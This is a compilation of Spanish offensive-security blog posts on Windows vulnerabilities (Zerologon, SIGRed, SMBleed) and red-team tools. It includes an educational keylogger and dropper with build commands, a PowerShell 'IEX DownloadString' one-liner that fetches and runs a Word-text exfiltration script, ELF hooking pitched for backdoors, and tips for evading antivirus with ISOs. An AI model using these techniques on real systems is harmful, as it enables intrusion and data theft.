Zerologon desatado: la vulnerabilidad que permite comprometer cualquier controlador de dominio de Windows fácilmente

El 11 de agosto Microsoft a través de Tom Tervoort de Secura trataba una vulnerabilidad en el servicio Netlogon. Netlogon Remote Protocol es una interfaz RPC disponible en los controladores de dominio de Windows. Se utiliza para diversas tareas relacionadas con la autenticación de usuarios y máquinas, sobretodo para facilitar que los usuarios inicien sesión en servidores utilizando el protocolo NTLM, pero también para otras cosas como la autenticación de respuestas NTP y para permitir que un equipo actualice su contraseña dentro del dominio. El servicio RPC se sirve en un puerto dinámico TCP asignado por el servicio "portmapper" del controlador de dominio, o mediante una canalización SMB en el puerto 445.

En aquel momento Microsoft sólo decía brevemente que para explotar la vulnerabilidad un atacante no autenticado podía usar MS-NRPC para conectarse a un controlador de dominio y obtener acceso de administrador de dominio. Pero un mes después, el 11 de septiembre de 2020, la misma empresa Secura lanzó un advisory con una herramienta para identificar las máquinas vulnerables a esta vulnerabilidad identificada como CVE-2020-1472 (CVSS 10.0) y tres días después publicó un paper técnico explicando la vulnerabilidad más en detalle, desatando una avalancha de PoCs y herramientas que están poniendo en vilo a toda la comunidad de seguridad, ya que cualquier atacante sin necesidad de autenticación y con visibilidad por red contra un controlador de dominio puede resetear la password del domain admin.

Lo interesante de este protocolo Netlogon es que no utiliza el mismo esquema de autenticación que otros servicios RPC. En su lugar, utiliza un protocolo criptográfico personalizado para permitir que un cliente (una computadora unida a un dominio) y un servidor (el controlador de dominio) se demuestren entre sí que ambos conocen un secreto compartido. Este secreto compartido es un hash de la contraseña de la cuenta de la computadora del cliente. La razón de esto es que las cuentas de equipo en tiempos Windows NT no podían hacer uso de esquemas de autenticación de usuario estándar como NTLM o Kerberos.

El problema: que la implementación de este protocolo basado en AES-CFB8 no está hecha correctamente. ¿Por qué? Porque para generar las credenciales tanto cliente como servidor usan la función ComputeNetlogonCredential que en su versión más moderna que usa AES-CFB8 define IVs fijos de 16 bytes de ceros en lugar de IVs aleatorios (de ahí que se haya bautizado también a la vulnerabilidad como Zerologon). Con esto, dada una clave aleatoria, hay una probabilidad de 1 entre 256 de que el cifrado AES de un bloque de todo ceros de como salida todo ceros.

A partir de ahí se pueden llevar una serie de pasos para conseguir la explotación. Yo los voy a resumir en español, pero los tenéis en detalle en el paper técnico de Secura.

Listado de retos de CTFs en los que hay que "juakear" videojuegos

Suraj Malhotra aka mrT4ntr4 tiene un repo en Github muy interesante para todos los jugones de CTFs: un recopilatorio de retos que nos desafían a hackear videojuegos de varios tipos. Os lo dejamos también aquí pero os animamos a contribuir con tito Siraj si conocéis alguno más para ampliar esta buena lista. It's time to play:

PC Games
Retro [Gameboy/NES]
Android
Web
 

PC Games

  1. DragonSector CTF 2018
    Solution Videos
    https://youtu.be/8bjFplctDE0
    https://youtu.be/j0taw78tCYs
  2. Nullcon HackIM 2020
    Writeups
    https://medium.com/@roottusk/helping-zelda-capture-flags-nullcon-hackim-2020-f2480099cc3c
    https://devploit.dev/2020/02/09/nullconHackIM-ZeldaAdventures.html
  3. Pwn Adventure Series by Vector35

Ripple20. ¿Preocupado? Lee esto

El objetivo de este pequeño artículo es resumir la información actualmente pública en torno a Ripple20, y arrojar claridad sobre si se tienen o no dispositivos afectados por Ripple20 en la red.

Ideas clave:
  • Posiblemente sólo dispositivos Digi tengan las vulnerabilidades críticas de Ripple20
  • Actualmente no existe un método (gratuito) para determinar con precisión si se tienen dispositivos con afectaciones graves de Ripple20 (CVE-2020-11896 y CVE-2020-11898)
  • ¿La vulnerabilidad presente en un servidor de virtualización afecta a las máquinas virtuales? (¡¿?!)
Contexto

A mediados de junio del 2020 la firma israelí JSOF especializada en la investigación de vulnerabilidades y su explotación en dispositivos embebidos, dio a conocer el descubrimiento de 19 vulnerabilidades que afectaban la implementación de TCP/IP de Treck, este conjunto de vulnerabilidades se denominó como Ripple20. Dicha implementación se encuentra en multitud de marcas y dispositivos, incluyendo servidores, impresoras, dispositivos IoT, equipo médico, etc. Las vulnerabilidades varían en criticidad desde baja hasta alta, las más graves permiten ejecución de código, así como la filtración de información directamente de la memoria del equipo afectado.

Desarrollo

Actualmente los escaneos automatizados a nivel infraestructura pueden revelar aparentemente la existencia de la vulnerabilidad, como es el caso de Nessus, es importante aclarar que Nessus no arroja el detalle de cuál de las 19 vulnerabilidades de Ripple20 está presente en el equipo afectado, simplemente lanza el listado de los CVE involucrados, por lo que es tarea de los equipos de seguridad investigar detalles sobre la vulnerabilidad y encontrar algún método de detección para identificar equipos afectados en la red.

Imagen 1 y 2. Resultado de Nessus referente a Ripple20.
De las 19 vulnerabilidades son de interés las que permitirían ejecución de código, así como filtración de información, tal es el caso de CVE-2020-11896 y CVE-2020-11898, por lo que es recomendable prestar atención en ellas para identificarlas y remediarlas.

Para tener un panorama más amplio de lo que se está hablando se recomienda revisar el documento publicado por JSOF en donde exponen los detalles técnicos de la vulnerabilidad.

Coqui: Malware bancario con propósito educativo

Coqui es un malware diseñado para activarse cuando un usuario visita un sitio web bancario. El malware comparará el título de la ventana con un conjunto de valores hardcodeados. Ese conjunto de valores se puede ampliar simplemente agregándolos a la variable banktitles:


Si un título de la ventana coincide, se inicia el keylogger, pero si no coincide, el malware simplemente seguirá ejecutándose a la espera.

Una vez que se inicia el keylogger, el malware guardará un archivo llamado db.txt en el directorio %TMP%.

El dropper asociado con este malware es simple: verifica todas las ventanas en ejecución para ver si tienen las palabras "Process" o "Administrador de tareas de Windows", ya que normalmente indican que el archivo se está analizando (por ejemplo, Process Hacker, Process Monitor , etc.), si alguna ventana tiene esto en su título, no continuará ejecutándose.
NOTA: Esta lista hardcodeada de procesos que se comprueba antes de continuar con la ejecución se puede ampliar cambiando la variable xprocesses:


Si no ve ninguno de estos procesos, verifica si la víctima ya está infectada buscando en el directorio %TMP% una lista de archivos.
- Si la víctima ya está infectada, el dropper enviará las pulsaciones de teclas recopiladas a un servidor remoto que se especifica en el segundo parámetro de la función Pigeon a través de peticiones GET.
- Si la víctima no está infectada, se copia a sí mismo en el directorio %TMP% con el nombre 01.exe y crea una tarea programada para ejecutarse cada 12 días a las 12:00 del mediodía. Finalmente, descarga el keylogger y lo renombra a ursakta.exe.

Antes de usar

Cambiar la dirección IP del servidor (segundo parámetro para la función Pigeon) así como la URL del archivo keylogger principal (primer parámetro para la función Pigeon). La función pigeon se llama en main:


Compilación

Cross-compile de Linux a Windows usando mingw:

64 bits (para el dropper): x86_64-w64-mingw32-gcc input.c -o output.exe -lurlmon -lwininet

32 bits (para el dropper): i686-w64-mingw32-gcc input.c -o output.exe -lurlmon -lwininet

64 bits (para keylogger): x86_64-w64-mingw32-gcc input.c -o output.exe

32 bits (para keylogger): i686-w64-mingw32-gcc input.c -o output.exe

Purple Cloud: despliega un lab de DA en la nube

Purple Cloud de Jason Ostrom es una pequeña implementación de Active Directory automatizada con plantillas de playbooks en Terraform/Ansible para implementar en Azure; ideal para organizar y llevar a cabo un ciberejercicio de pentesting en AD. Sus características actuales son:

- Implementa una máquina virtual Linux para pentesting y un contenedor Docker (AriaCloud) accesible a través de RDP
- También se puede realizar una implementación independiente de AriaCloud desde este repositorio. Para esta opción, hay que navegar hasta el directorio aria-cloud y ver el archivo README. Más info en https://github.com/iknowjason/AriaCloud.
- Implementa un controlador de dominio Windows 2019 y tres endpoints de Windows 10 Pro
- Une automáticamente los tres equipos con Windows 10 al dominio AD
- Utiliza plantillas de Terraform para implementar automáticamente VMs en Azure
- Las plantillas de Terraform escriben la configuración de los playbooks en Ansible, que se pueden personalizar
- Carga Badblood automáticamente (pero no lo instala) si prefieres generar miles de usuarios simulados https://github.com/davidprowe/BadBlood
- El script de Powershell posterior a la implementación proporciona tres usuarios de dominio en el controlador de dominio 2019 y se puede personalizar para muchos más
  • Usuarios del dominio: olivia (administrador del dominio); lars (usuario de dominio); liem (Usuario de dominio)
  • Todas las contraseñas de usuario de dominio: Password123
  • Dominio: RTC.LOCAL
  • Credenciales del administrador de dominio: RTCAdmin: Password123
- Implementa cuatro subredes IP
- Implementa grupos de seguridad de red de Azure (NSG) intencionalmente inseguros que permiten RDP, WinRM (5985, 5986) y SSH desde la Internet pública. Securiza esto según tus requisitos. WinRM se utiliza para aprovisionar automáticamente los hosts.

SNIcat: bypasseando la inspección TLS para exfiltrar información

Los investigadores Morten Marstrander y Matteo Malvica de Mnemonic han descubierto un método para exfiltrar información bypasseando dispositivos que interceptan e inspeccionan TLS como proxies web, firewalls de última generación (NGFW) y otras soluciones, entre ellos, dispositivos de F5 Networks, Palo Alto Networks y Fortinet.

Normalmente estos appliances verifican el SNI (Server Name Indication) para bloquearlo si la URL o el hostname están categorizados como maliciosos. EL procedimiento sería así:


Lo más fácil parece cambiar el SNI y luego mandar el tráfico a un dominio malicioso, pero como veis en la imagen muchas plataformas de seguridad si no matchea el SNI con el cn del certificado del sitio bloquean el tráfico directamente. Sin embargo, el bloqueo se realiza una vez que se ha completado el handshake TLS por lo que se puede aprovechar ese stream unidireccional para exfiltrar información (el paquete TLS Client Hello siempre llega a su destino). Además, muchos dispositivos que hacen un mirror del tráfico para descifrarlo e inspeccionarlo con un IDS no reciben el handshake TLS... }:-)

Además, siempre que el servidor presente un certificado válido y confiable durante el handshake TLS, la solución de seguridad siempre presentará una versión emulada de ese certificado al cliente, firmada por la CA integrada de la solución. Este comportamiento ocurre incluso si el dominio utilizado está en la lista negra de una base de datos de reputación (categorización de URL/dominio). Sin embargo, si el certificado que presenta el servidor es auto-firmado no confiable normalmente devuelven un reset a la sesión TCP.

Creación de payloads cifrados en Powershell con Xeca

Xeca es un proyecto que crea payloads cifrados de PowerShell con fines ofensivos. También es posible crear shellcodes independientes a partir de archivos DLL. Para instalarlo, tenemos que tener previamente Rust y luego construir el proyecto simplemente con el comando: cargo build.

Su funcionamiento es el siguiente:
1. Identifica y cifra el payload. Carga el payload cifrado en un script de PowerShell y lo guarda en un archivo llamado "launch.txt"
2. La clave para descifrar el payload se guarda en un archivo llamado "safe.txt"
3. Ejecuta "launch.txt" en un host remoto
  • El script volverá a llamar al servidor web definido por el atacante para recuperar la clave de descifrado "safe.txt"
  • Descifra el payload en la memoria
  • Ejecuta el payload en la memoria
Algunos ejemplos de uso:

Empire


Merlin


Sliver


Mitigaciones

Si los usuarios tienen que tener acceso a programas como powershell.exe, para mitigar el uso de estas herramientas hay que considerar minimizar los riesgos de seguridad con Just Enough Administration y PowerShell Logging. Las políticas de control de aplicaciones se pueden implementar a través de whitelisting con herramientas como AppLocker.

Proyecto: https://github.com/postrequest/xeca

Herramienta para exfiltrar el texto de los documentos de Word abiertos

Invoke-WordThief es una herramienta que se compone de un script en powershell que conecta con un servidor TCP implementado en python y que monitoriza los documentos de Microsoft Word activos (.doc, .docx, etc.) para extraer/ex-filtrar sus textos. Para ello utiliza los objetos COM de Word y el script también añade un entrada en el registro en la rama HKCU (sin necesidad de privilegios de administración) para conseguir persistencia.

USO
Servidor:
$ python3 ./logger.py -h
usage: logger.py [-h] [-o LOG_DIR] [-p LPORT] [-b BIND]

TCP Listener for Invoke-WordThief document text

optional arguments:
  -h, --help            show this help message and exit
  -o LOG_DIR, -d LOG_DIR, --log_dir LOG_DIR
                        Full path of log directory.
  -p LPORT, -l LPORT, --lport LPORT
                        Listening port of log server
  -b BIND, --bind BIND  Bind address to listen to


Cliente:
PS C:\Users\vis0r\Downloads\Invoke-WordThief-master> help Invoke-WordThief

NOMBRE
    Invoke-WordThief

SINOPSIS
    This is the main function, running all monitoring activity and multithreading (Jobs),
    defined ScriptBlock that runs the text streaming phase (after doc has been opened).

SINTAXIS
    Invoke-WordThief [-SERVER] <String> [[-PERSISTENCE] <Boolean>] [[-LOG_PORT] <Int32>] [[-HTTP_PORT] <Int32>]
    [<CommonParameters>]

DESCRIPCIÓN

VÍNCULOS RELACIONADOS

NOTAS
    Para ver los ejemplos, escriba: "get-help Invoke-WordThief -examples".
    Para obtener más información, escriba: "get-help Invoke-WordThief -detailed".
    Para obtener información técnica, escriba: "get-help Invoke-WordThief -full".


powershell -nop -w 1 -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.138:8888/Invoke-WordThief.ps1');Invoke-WordThief -Server 192.168.1.138"


Fuente: https://github.com/danielwolfmann/Invoke-WordThief

browsertunnel: exfiltrando datos mediante dns-prefetch

Browsertunnel es una herramienta para exfiltrar datos desde el navegador utilizando el protocolo DNS. Para ello abusa de dns-prefetch, una técnica destinada a reducir la latencia percibida de los sitios web al realizar búsquedas DNS en segundo plano para dominios específicos antes si quiera que se soliciten cargarse. Pueden ser una o varias meta etiquetas que se colocan dentro del head, en ellas se establecen los dominios de los cuales vamos a necesitar cargar recursos en nuestra web. De esta manera precargamos los dominios (DNS) para que se resuelva la IP de la cual se descargarán los recursos requeridos, y así evitamos que esa resolución de la IP se haga justo cuando se requiera la carga del recurso. Además el tráfico DNS no aparece en las herramientas de depuración del navegador, no está bloqueado por la Política de seguridad de contenido (CSP) de una página, y a menudo no es inspeccionado por firewalls o proxies corporativos, por lo que es un medio ideal para sacar datos en escenarios restringidos.

Se trata de una técnica antigua: el túnel DNS en sí se remonta a los años 90, y Patrick Vananti escribió sobre el uso de dns-prefetch en 2016, pero por lo que puedo decir, browsertunnel es el primer cliente/servidor de código abierto que demuestra su uso. Debido a que dns-prefetch no devuelve ningún dato al cliente javascript, la comunicación a través de browsertunnel solo es unidireccional. Además, algunos navegadores deshabilitan dns-prefetch de forma predeterminada, y en esos casos, browsertunnel fallará silenciosamente.


El proyecto tiene dos partes:

- Un servidor, escrito en golang, que funciona como un servidor DNS autorizado que recopila y decodifica los mensajes enviados por browsertunnel.
- Una pequeña librería de JavaScript, que se encuentra en la carpeta html/, codifica y envía mensajes desde el lado del cliente

Principales vulnerabilidades en un Directorio Activo

Todos estamos de acuerdo que asegurar un entorno de Active Directory no es una tarea fácil, siempre hay nuevos requisitos, características, pequeños (o grandes) descuidos en su configuración y nuevas vulnerabilidades que van apareciendo casi de forma frenética. Recientemente en el blog de Infosecmatter recogían un top16 de las debilidades y vulnerabilidades más comunes que encontraremos en este tipo de entornos, sin duda una recopilación muy útil y que un pentester a de tener muy en cuenta:

1. Usuarios que tienen permisos para agregar equipos al dominio
2. Atributo AdminCount configurado en usuarios comunes
3. Demasiados usuarios en grupos privilegiados
4. Cuentas de servicio miembros de administradores de dominio
5. Privilegios excesivos que permiten shadow admins en el dominio
6. Cuentas de servicio vulnerables a Kerberoasting
7. Usuarios con contraseñas que no caducan
8. Usuarios con contraseña no requerida
9. Almacenar contraseñas usando cifrado reversible
10. Almacenar contraseñas usando hashes LM
11. Cuentas de servicio vulnerables a AS-REP roasting
12. Política de contraseñas débil
13. Cuentas de dominio inactivas
14. Usuarios privilegiados con restablecimiento de contraseña vencido
15. Usuarios con una contraseña débil
16. Credenciales en SYSVOL y Preferencias de directiva de grupo (GPP)

1. Usuarios que tienen permisos para agregar equipos al dominio

En el Directorio Activo por defecto cualquier usuario de dominio puede agregar worstations. Esto se define mediante el atributo ms-DS-MachineAccountQuota que se establece de manera predeterminada a 10. Es decir, cualquier usuario de dominio con pocos privilegios puede unir hasta 10 computadoras al dominio. Por ejemplo esto brinda la posibilidad a un atacante de agregar su propio equipo no administrado a un dominio corporativo con las siguientes ventajas:

- sin necesidad de tener una solución antivirus o EDR en su máquina
- no se aplicarán configuraciones o políticas de GPO a su sistema
- podrá tener derechos administrativos en su sistema

Para añadir a un equipo al dominio se puede hacer mediante las Propiedades del Sistema (sysdm.cpl) o con powershell:
add-computer –domainname <FQDN-DOMAIN> -Credential <DOMAIN>\<USER> -restart –force

# Ejemplo
add-computer –domainname org.local -Credential ORG\john -restart –force

Si tenemos acceso a los controladores de dominio también podemos enumerar aquellas máquinas que fueron agregadas por usuarios que no son administradores:
Import-Module ActiveDirectory
Get-ADComputer -LDAPFilter "(ms-DS-CreatorSID=*)" -Properties ms-DS-CreatorSID

Volver al principio

2. Atributo AdminCount configurado en usuarios comunes

En DA hay un objeto llamado AdminSDHolder cuyo propósito es proteger objetos. Específicamente, objetos que son miembros de grupos administrativos.

Los objetos AD tienen un atributo llamado AdminCount. El valor predeterminado es para la mayoría de los objetos. Al cambiar el valor a "1", se marca la cuenta como protegida por AdminSDHolder.

Al agregar un usuario a un grupo con permisos de administración se cambia el valor a "1", pero si embargo cuando se saca del grupo ese valor no vuelve a "0". Como resultado, el objeto de usuario sigue teniendo ACL "sensibles" como por ejemplo deshabilitar la herencia de permisos. Esto puede ser un riesgo en algunos escenarios.

Para encontrar usuarios con el atributo AdminCount configurado a 1 podemos usar la herramienta LDAPDomainDump. Esta herramienta recopila información sobre todos los usuarios, grupos y equipos del dominio. Todo lo que necesitamos son credenciales de cualquier usuario de dominio con pocos privilegios y poder llegar al puerto LDAP de cualquier controlador de dominio.

GLORYHook o llamando libc desde el propio hook

GLORYHook del israelí Paul Litvak (Intezer labs) es un script en python que nos permitirá hacer un merge de dos binarios en Linux. Lo interesante es que utiliza un método de hooking que permite llamar librerías desde el propio hook, por lo que no es necesario recurrir a escribir shellcodes o escribir una implementación propia de las API de libc.

La instalación son unos pocos pasos sólo:

1. (Requisito) Custom LIEF para manipular más fácilmente los ELF
git clone https://github.com/tsarpaul/LIEF
cd LIEF
python3 ./setup.py install

2. GLORYHook
git clone https://github.com/tsarpaul/GLORYHook.git
cd GLORYHook
pip3 install -r requirements.txt

Ahora veamos un ejemplo con el código de hook.c donde podemos ver como llamamos a la API de libc:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

char *gloryhook_strrchr(const char *s, int c){
    printf("STRRCHR HOOKED!\n");
    return strrchr(s, c);
}

char *gloryhook_getenv(const char *name) {
    printf("GETENV HOOKED!\n");
    return getenv(name);
}

Después usamos el script para que haga su magia:
$ python3 glory.py /bin/ls ./hook -o ./hooked-ls
[+] Beginning merge!
[+] Injecting new PLT
[+] Extending GOT for new PLT
[+] Fixing injected PLT
[+] Injecting PLT relocations
[+] Done!

Y voilà:
$ ./hooked-ls 
STRRCHR HOOKED!
GETENV HOOKED!
GETENV HOOKED!
GETENV HOOKED!
GETENV HOOKED!
GETENV HOOKED!
GETENV HOOKED!
GETENV HOOKED!
GETENV HOOKED!
GETENV HOOKED!
example.sh  glory-penguin.png  glory.py  hook  hook.c  hooked-ls  README.md  requirements.txt  usage.png

Ya os podéis imaginar que esto puede servir bastante bien para un file infector/backdoor, como una buena alternativa para un rootkit de LD_PRELOAD y bastante díficil de detectar... };-)

SIGRed: vulnerabilidad crítica en el servidor DNS de Windows (CVE-2020-1350)

Los investigadores de Checkpoint se propusieron encontrar una vulnerabilidad mediante la cual comprometer un dominio de Windows, preferiblemente sin necesidad previa de autenticación, y siguieron la senda de la explotación de protocolos como ya pasó con Eternalblue con RDP o BlueKeep con RDP. En este caso se centraron en el servidor DNS presente en la mayoría de los controladores de dominio y el resultado fue el descubrimiento de un desbordamiento de enteros o integer overflow (que deriva en un Heap-Based Buffer Overflow) a la hora de parsear peticiones de tipo Signature (RR SIG records): hablamos de la vulnerabilidad CVE-2020-1350 llamada también SIGRed con un CVSS de 10.0 y que afecta a las versiones de Windows Server 2003 a 2019.

Unas pocas premisas

Partamos de unas pocas premisas antes de empezar a ver la descripción de la vulnerabilidad:
  • DNS opera en el puerto 53 UDP o TCP
  • un solo mensaje DNS (respuesta/petición) está limitado a 512 bytes en UDP y 65,535 bytes en TCP.
  • DNS es jerárquico y descentralizado por naturaleza. Esto significa que cuando un servidor DNS no conoce la respuesta a una consulta que recibe, la consulta se reenvía a un servidor DNS que se encuentra sobre él en la jerarquía
  • En Windows, el cliente DNS y el servidor DNS se implementan en dos módulos diferentes:
    •  Cliente DNS: dnsapi.dll es responsable de la resolución de DNS.
    •  Servidor DNS: dns.exe es responsable de responder las consultas DNS en Windows Server, en el que está instalada la funcionalidad DNS.

Descripción de la vulnerabilidad

La vulnerabilidad se encuentra en el servidor DNS/dns.exe:
1. dns.exe implementa una función de parseo para cada tipo de respuesta soportada
2. Uno de los tipos de respuesta admitidos es para una consulta SIG. La función del handler para el tipo de respuesta SIG es dns.exe!SigWireRead
3. La función responsable de asignar memoria para el RR (Resource Record) RR_AllocateEx espera que sus parámetros se pasen en registros de 16 bits, ya que solo usa la parte dx de rdx y la parte cx de rcx.
4. Si podemos hacer que se muestre un resultado mayor de 65.535 bytes (el valor máximo para un entero de 16 bits) se produce un desbordamiento y esta dirección de memoria asignada se pasa como un búfer de destino para memcpy, lo que lleva a un heap buffer overflow.

25 técnicas de persistencia (Windows) de Pentest Lab

Grandísima recopilación de técnicas de persistencia recogidas en el blog de Penetration Testing Lab y mapeadas con Mitre, indicando además si se necesitan permisos o no de administrador en cada una de ellas:

Cómo eliminar la molesta telemetría de Firefox para trabajar (a gusto) con Burp

Ya sabéis que Firefox, incluso sin extensiones, genera un montón de ruido cuando trabajamos con Burp a modo de conexiones a DetectPortal, SafeBrowsing, reportMalware, version-checks, ping-telemetry, etc.

Para evitarlo podemos cambiar una serie de settings en el UI (por ejemplo, a través de about:config en el navegador) o, más sencillo, configurarlo dentro de un archivo user.js en tu perfil. Las rutas donde se deben guardar dicho archivo según sistema operativo (hay que crearlo si no existe) son las siguientes:
  • Windows: C:\Users\\AppData\Roaming\Mozilla\Firefox\Profiles\xxxxxxxx.default
  • Mac OS X: Users//Library/Application Support/Firefox/Profiles/xxxxxxxx.default
  • Linux: /home//.mozilla/firefox/xxxxxxxx.default
Y gracias a Mikhail Driagunov aka AetherEternity he querido recopilar este user.js para tener siempre a mano:
user_pref("accessibility.force_disabled", 1);
user_pref("accessibility.typeaheadfind.flashBar", 0);
user_pref("app.normandy.first_run", false);
user_pref("app.shield.optoutstudies.enabled", false);
user_pref("app.update.auto", false);
user_pref("app.update.checkInstallTime", false);
user_pref("app.update.doorhanger", false);
user_pref("browser.feeds.showFirstRunUI", false);
user_pref("browser.newtabpage.activity-stream.feeds.section.highlights", false);
user_pref("browser.newtabpage.activity-stream.feeds.snippets", false);
user_pref("browser.newtabpage.activity-stream.feeds.telemetry", false);
user_pref("browser.newtabpage.activity-stream.feeds.topsites", false);
user_pref("browser.newtabpage.activity-stream.prerender", false);
user_pref("browser.newtabpage.activity-stream.telemetry", false);
user_pref("browser.newtabpage.activity-stream.telemetry.ping.endpoint", "https://localhost");
user_pref("browser.ping-centre.telemetry", false);
user_pref("browser.safebrowsing.blockedURIs.enabled", false);
user_pref("browser.safebrowsing.downloads.enabled", false);
user_pref("browser.safebrowsing.downloads.remote.block_dangerous", false);
user_pref("browser.safebrowsing.downloads.remote.block_dangerous_host", false);
user_pref("browser.safebrowsing.downloads.remote.block_potentially_unwanted", false);
user_pref("browser.safebrowsing.downloads.remote.block_uncommon", false);
user_pref("browser.safebrowsing.downloads.remote.enabled", false);
user_pref("browser.safebrowsing.downloads.remote.url", "https://localhost");
user_pref("browser.safebrowsing.malware.enabled", false);
user_pref("browser.safebrowsing.phishing.enabled", false); 

HTTP-revshell: controla el equipo de la víctima a través de un canal encubierto

Hola a tod@s, mi nombre es Héctor de Armas, 3v4Si0N para los juankers y voy a presentarles una herramienta que desarrollé durante el confinamiento. Esta herramienta se hace llamar HTTP-revshell y consiste en la utilización de un canal encubierto (covert channel) para obtener control sobre el equipo víctima a través de peticiones web y de esta forma evadir soluciones como un IDS, IPS y AV.
Bueno, ¿y qué diablos es un covert channel?

Pues básicamente, es la manipulación de un protocolo de comunicación (en este caso HTTP y HTTPS) para enviar información de una manera fuera de la especificación del protocolo.

HTTP-revshell se ha desarrollado para ser utilizada en ejercicios de RedTeam y/o pentest para poner a prueba las capacidades de detección de las soluciones de seguridad que una empresa puede tener implementadas (siempre para hacer el bien y nunca para el mal, sed buenos).

Utilización de HTTP-revshell

Comenzamos con la instalación de la herramienta. Lo primero, descargar el repositorio que se encuentra en la siguiente URL:

    • https://github.com/3v4Si0N/HTTP-revshell

Para realizar una pequeña muestra de cómo funciona vamos a utilizar la versión de la rama dev ya que, actualmente como se encuentra en desarrollo, está más actualizada que la versión de la rama master. Para ello, utilizamos el siguiente comando:

git clone -b dev https://github.com/3v4Si0N/HTTP-revshell.git


Cómo montar un ISO malicioso correctamente

El uso de archivos ISO maliciosos se lleva usando desde hace tiempo en muchas campañas de malware: Phobos, ZLoader, LokiBot, Nanocore, Grandoreiro... pero hasta ahora no había visto un artículo tan claro como el de Mateusz, fundador de vx-underground, dónde muestra cómo montar correctamente un archivo ISO para ser utilizado con fines maliciosos. Veamos pues cómo montar una ISO sin establecer una ruta visible para el usuario y/o asignar una letra de dispositivo.

Primero, ¿por qué no usar un archivo VHD/VHDX (disco duro virtual) en lugar de un ISO (imagen de CD o DVD)? Ambos tienen que se virtualizados y montados por Windows y ambos utilizan llamadas a API similares (Virtual Storage API), pero muchos antivirus parecen ser incapaces de montar mediante programación un archivo VHD/VHDX, aunque parece que si son capaces de analizar imágenes ISO en cierta medida. ¿Entonces por que los desarrolladores de malware no usan mejor ficheros VHD? Pues básicamente porque el tamaño mínimo de un archivo VHD que se puede asignar en una Tabla de Partición GUID (GPT) es de 5MB.

Centrémonos entonces en los ISOs, mucho más pequeños y versátiles. Como decíamos, coinciden en el uso de ciertas APIs, y concretamente con AttachVirtualDisk podremos montar y leerlo también. Podremos llamar a OpenVirtualDisk​ como se define a continuación:
DWORD ​OpenVirtualDisk​(
  PVIRTUAL_STORAGE_TYPE         VirtualStorageType,  
  PCWSTR                        Path,  
  VIRTUAL_DISK_ACCESS_MASK      VirtualDiskAccessMask,
  OPEN_VIRTUAL_DISK_FLAG        Flags,
  POPEN_VIRTUAL_DISK_PARAMETERS Parameters,
  PHANDLE                       Handle
);

El primer parámetro, VirtualStorageType, debe ser válido como parte de una estructura VIRTUAL_STORAGE_TYPE que se define como:
typedef​​struct​ _​VIRTUAL_STORAGE_TYPE​ {
  ULONG DeviceId;
  GUID  VendorId;
} VIRTUAL_STORAGE_TYPE, *PVIRTUAL_STORAGE_TYPE;

El DeviceId debe establecerse en VIRTUAL_STORAGE_TYPE_DEVICE_ISO. Además, VendorId debe establecerse en VIRTUAL_STORAGE_TYPE_VENDOR_MICROSOFT.
Si hacemos esto así, todo lo demás seguirá siendo prácticamente idéntico que con un archivo VHD/VHDX.

Ultra Tesla: Crear redes distribuidas de servicios, fácil, rápido y seguro

Ultra Tesla es un proyecto de código abierto para crear redes distribuidas de servicios fácil, rápido y seguro, usando el poder de computo de múltiples ordenadores. El proyecto permite unificar los distintos servidores en una única interfaz que es proporcionada para el mismo usuario creando una sensación de transparencia.


Mi primer "Hello World":

Ultra Tesla utiliza servicios, que son básicamente mini-programas que se adhieren a la ejecución del servidor, siguiendo una sintaxis en HTTP como la siguiente: ://///<...>

Donde es 'http' o 'https' según la configuración del servidor; es básicamente la dirección del servidor; es el nombre del servicio, que para este ejemplo será "hello_world" y los demás que son y <...> son básicamente otros mini-programas que se tendrán que usar anteponiendo el nombre del servicio anterior, por ejemplo, ////<...> y así según lo que el administrador haya propuesto.

Código: Python
  1. class Handler:
  2.     async def get(self):
  3.        await self.write('Hello World!')

Un ejemplo real con el servicio nombrado como complements/hello_world.py en una URL se vería como lo siguiente (suponiendo que la dirección del servidor sea localhost): http://localhost:17000/hello_world

Backup-ToSystem: abusando de los permisos de "Backup operators" y el servicio VDS

Buenas, ¿cómo andas cabeshas de mal? Mi nombre es Luis Vacas o CyberVaca como me conocen algunos… y en este post hablaremos sobre los permisos que se otorgan al grupo de “Backup Operators”


SeBackupPrivilege

➔ "Permite al usuario eludir los permisos de archivos y directorios para hacer una copia de seguridad del sistema. Tiene sentido que exista este privilegio para que se pueda realizar backups del sistema. El privilegio se selecciona sólo cuando la aplicación intenta acceder a través de la interfaz de la aplicación de copia de seguridad NTFS. De lo contrario, se aplican los permisos normales de archivos y directorios"

➔ Con este privilegio se puede hacer fácilmente una copia de seguridad del registro de Windows y utilizar herramientas de terceros para extraer los hashes locales de NTLM. Cómo por ejemplo secretsdump.py de impacket.

Hasta aquí todo correcto, pero un momento, si este privilegio permite leer todos los archivos del sistema, quizá podamos aprovecharnos de ello. Así que intentaremos cambiar las ACL de algún path en el que no deberíamos poder escribir, pero espera ¿Qué diablos es un ACL?

ACL

➔ Una lista de control de acceso (ACL), con respecto a un sistema, es una lista de permisos adjunta a un objeto. Una ACL especifica qué usuarios o procesos del sistema tienen acceso a los objetos, así como qué operaciones están permitidas en determinados objetos. Cada entrada de una ACL especifica un usuario o grupo y una operación. Por ejemplo, si un objeto de archivo tiene una ACL que contiene (Administrador: leer, escribir; Pepe: leer), esto le daría a Administrador permiso para leer y escribir el archivo y a Pepe sólo para leerlo.

Bueno, ya que tenemos claro los conceptos vamos a ver si podemos abusar de él.

SMBleed (CVE-2020-1206): nueva vulnerabilidad en SMB 3.1.1 (y que puede combinarse con SMBGhost para RCE)

Seguro que ya sabéis que hace poco se publicó código que permite la ejecución remota de código o RCE usando SMBGhost (CVE-2020-0796), una vulnerabilidad en el mecanismo de compresión de SMBv3.1.1 PERO que fue parcheada hace tres meses por Microsoft. Hasta ahí todo bien... parche publicado rápidamente por el fabricante y posterior aparición de exploits: desde el que permitía un crash del sistema, pasando por elevación de privilegios hasta este último RCE que comento, algo que no impedirá sin embargo que muchos incautos infecten sus máquinas des-actualizadas con malware ya más "weaponizable".

No obstante, durante la investigación para explotar SMBGhost la gente de ZecOps descubrió otra vulnerabilidad en la funcionalidad de descompresión que permite leer memoria del kernel no inicializada y, lo que es peor, combinada con la ya parcheada SMBGhost permitiría de nuevo ejecución remota de comandos: señores y señoras, con ustedes SMBleed (CVE-2020-1206).

Lectura remota de la memoria del kernel

